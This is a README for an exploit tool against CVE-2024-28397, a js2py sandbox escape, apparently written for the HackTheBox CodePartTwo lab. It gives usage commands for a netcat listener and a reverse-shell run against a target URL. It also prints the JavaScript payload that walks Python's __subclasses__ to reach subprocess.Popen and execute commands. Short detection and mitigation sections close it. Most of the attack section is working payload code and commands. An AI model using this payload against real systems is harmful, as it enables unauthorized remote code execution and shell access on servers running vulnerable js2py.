CVE-2024-28397 js2py Sandbox Escape Exploit - (CodePartTwo - HTB)

A Python exploit code for CVE-2024-28397, a critical vulnerability in js2py <= 0.74 that allows sandbox escape and remote code execution.

🚨 Vulnerability Details

• CVE ID: CVE-2024-28397
• Affected Software: js2py <= 0.74
• Severity: Critical (CVSS 9.8)
• Type: Sandbox Escape / Remote Code Execution
• Discovery Date: February 2024

Description

js2py is a popular Python library for evaluating JavaScript code within Python environments. This vulnerability allows attackers to escape the js2py sandbox environment and execute arbitrary Python/system commands, even when js2py.disable_pyimport() is enabled.

The exploit leverages Python's object introspection capabilities through JavaScript to access the subprocess.Popen class and execute system commands.

🎯 Affected Applications

• Web applications using js2py for JavaScript evaluation
• Code execution platforms (like online code editors)
• Web scrapers that parse JavaScript
• Any application that processes untrusted JavaScript via js2py

🚀 Usage

Prerequisites

pip install requests

Basic Usage

# Start netcat listener
nc -lnvp 4444

# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

Command Line Options

--target    Target URL endpoint (required)
--lhost     Local IP for reverse shell (required)
--lport     Local port for reverse shell (default: 4444)

Example

python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 How It Works

1. Payload Generation: Creates a base64-encoded reverse shell command
2. Sandbox Escape: Uses JavaScript to access Python's object hierarchy via __class__ and __base__
3. Process Execution: Locates subprocess.Popen through introspection
4. Command Execution: Executes the reverse shell command using Popen
5. Shell Establishment: Connects back to the attacker's machine

Technical Details

The exploit works by:

• Accessing Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
• Walking through Python's object hierarchy using __subclasses__()
• Finding the subprocess.Popen class
• Creating a new process to execute the reverse shell

📝 Exploit Code Structure

// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Find subprocess.Popen class
function findpopen(o) {
    // Recursive search through subclasses
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ Detection

Look for JavaScript code containing:

• __class__ or ___class___ attribute access
• __subclasses__() method calls
• References to subprocess or Popen
• Base64 encoded payloads with printf and base64 -d

🔒 Mitigation

1. Update js2py: Upgrade to a patched version (> 0.74)
2. Input Validation: Sanitize JavaScript code before execution
3. Sandboxing: Use additional containerization (Docker, chroot)
4. Code Review: Audit JavaScript execution contexts
5. WAF Rules: Block suspicious JavaScript patterns

⚠️ Legal Disclaimer

This tool is for authorized penetration testing and educational purposes only. Users are responsible for complying with applicable laws and regulations. Unauthorized access to computer systems is illegal.

📚 References

• Original CVE Report
• js2py GitHub Repository
• CVE-2024-28397 Details

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.